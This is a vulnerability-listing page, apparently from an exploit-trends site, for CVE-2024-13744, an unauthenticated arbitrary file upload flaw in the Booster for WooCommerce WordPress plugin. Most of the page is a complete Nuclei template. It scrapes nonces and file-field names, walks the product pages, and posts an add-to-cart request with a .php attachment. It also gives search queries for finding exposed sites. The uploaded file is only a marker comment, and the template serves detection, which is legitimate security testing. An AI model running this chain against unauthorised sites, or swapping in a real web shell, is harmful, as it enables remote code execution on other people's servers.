CVE-2024-13744: Booster for WooCommerce <= 7.2.4 - Unauthenticated Arbitrary File Upload

2026-12-04 PoC Public

Description

The Booster for WooCommerce plugin for WordPress (woocommerce-jetpack) is vulnerable to unauthenticated arbitrary file upload via the Product Input Fields module in versions up to, and including, 7.2.4. When a product has a file-type input field, the add-to-cart validator validate_product_input_fields_on_add_to_cart() only enforces an extension allow-list when the per-field "accepted file types" option is set; with the default empty accept-list no file-type check runs at all, so an unauthenticated visitor can attach a file of any type (e.g. a PHP web shell) to the cart and, on checkout, have it written to the web-accessible uploads directory with its original extension preserved, making remote code execution possible. The template proves the flaw in-band: it submits a uniquely-named .php attachment and confirms the vulnerable server accepts and reflects it in the add-to-cart response, which a patched 7.2.5 server rejects.

Details

CVE
CVE-2024-13744 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2024-13744

info:
  name: Booster for WooCommerce <= 7.2.4 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: high
  description: |
    The Booster for WooCommerce plugin for WordPress (woocommerce-jetpack) is vulnerable to unauthenticated arbitrary file upload via the Product Input Fields module in versions up to, and including, 7.2.4. When a product has a file-type input field, the add-to-cart validator validate_product_input_fields_on_add_to_cart() only enforces an extension allow-list when the per-field "accepted file types" option is set; with the default empty accept-list no file-type check runs at all, so an unauthenticated visitor can attach a file of any type (e.g. a PHP web shell) to the cart and, on checkout, have it written to the web-accessible uploads directory with its original extension preserved, making remote code execution possible. The template proves the flaw in-band: it submits a uniquely-named .php attachment and confirms the vulnerable server accepts and reflects it in the add-to-cart response, which a patched 7.2.5 server rejects.
  impact: |
    Attackers can upload arbitrary files, potentially leading to remote code execution on the server.
  remediation: |
    Update to the latest version of Booster for WooCommerce plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-jetpack/booster-for-woocommerce-401-724-unauthenticated-arbitrary-file-upload
    - https://patchstack.com/database/wordpress/plugin/woocommerce-jetpack/vulnerability/wordpress-booster-for-woocommerce-plugin-4-0-1-7-2-4-unauthenticated-arbitrary-file-upload-vulnerability
    - https://plugins.trac.wordpress.org/changeset/3262569/woocommerce-jetpack/trunk/includes/input-fields/class-wcj-product-input-fields-core.php
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13744
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2024-13744
    epss-score: 0.00699
    epss-percentile: 0.54519
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: pluggabl
    product: booster_for_woocommerce
    framework: wordpress
    publicwww-query: "/wp-content/plugins/woocommerce-jetpack/"
    fofa-query: body="/wp-content/plugins/woocommerce-jetpack"
  tags: cve,cve2024,wordpress,wp-plugin,wp,woocommerce-jetpack,booster,fileupload,rce,intrusive,unauth,pluggabl,vkev

variables:
  marker: "{{rand_text_alpha(10)}}"

flow: |
  http(1);
  if (!template["fieldname"]) {
    http(2);
    let raw = String(template["permalinks"] || "");
    let seen = {};
    let urls = raw.replace(/[\[\]"]/g, "").split(",")
                  .map(s => s.replace(/\\\//g, "/").trim())
                  .filter(s => { if (!s || seen[s]) return false; seen[s] = true; return true; });
    for (let i = 0; i < urls.length && i < 25; i++) {
      set("product", urls[i]);
      http(3);
      if (template["fieldname"]) break;
    }
  }
  // 3) exploit: unauthenticated add-to-cart with a .php attachment; reflection of the unique
  //    filename proves the vulnerable validator accepted and attached it
  if (template["fieldname"] && template["pid"] && template["nonce"]) {
    http(4);
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'name="wcj_product_input_fields-nonce" value="([a-f0-9]+)"'

      - type: regex
        name: pid
        part: body
        internal: true
        group: 1
        regex:
          - 'name="add-to-cart" value="([0-9]+)"'

      - type: regex
        name: fieldname
        part: body
        internal: true
        group: 1
        regex:
          - 'type="file" name="(wcj_product_input_fields_[a-z]+_[0-9]+)"'

  - method: GET
    path:
      - "{{RootURL}}/wp-json/wc/store/v1/products?per_page=100"

    extractors:
      - type: regex
        name: permalinks
        part: body
        internal: true
        group: 1
        regex:
          - '"permalink":"([^"]+)"'

  - method: GET
    path:
      - "{{product}}"

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'name="wcj_product_input_fields-nonce" value="([a-f0-9]+)"'

      - type: regex
        name: pid
        part: body
        internal: true
        group: 1
        regex:
          - 'name="add-to-cart" value="([0-9]+)"'

      - type: regex
        name: fieldname
        part: body
        internal: true
        group: 1
        regex:
          - 'type="file" name="(wcj_product_input_fields_[a-z]+_[0-9]+)"'

  - method: POST
    path:
      - "{{RootURL}}/?wc-ajax=add_to_cart"

    headers:
      Content-Type: "multipart/form-data; boundary=----CVE202413744"
    body: |
      ------CVE202413744
      Content-Disposition: form-data; name="product_id"

      {{pid}}
      ------CVE202413744
      Content-Disposition: form-data; name="quantity"

      1
      ------CVE202413744
      Content-Disposition: form-data; name="wcj_product_input_fields-nonce"

      {{nonce}}
      ------CVE202413744
      Content-Disposition: form-data; name="{{fieldname}}"; filename="{{marker}}.php"
      Content-Type: application/x-php

      <?php /* {{marker}} */ ?>
      ------CVE202413744--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{marker}}.php")'
        condition: and
# digest: 490a00463044022053a28c7da1c06cbfabdf17daeac571299831e1b20fb2039f813c4a70d3ae7852022065219ab3d2e0d79f8853a4ba924861e27a47355be3cc24e2f30beef9dcd9dce8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life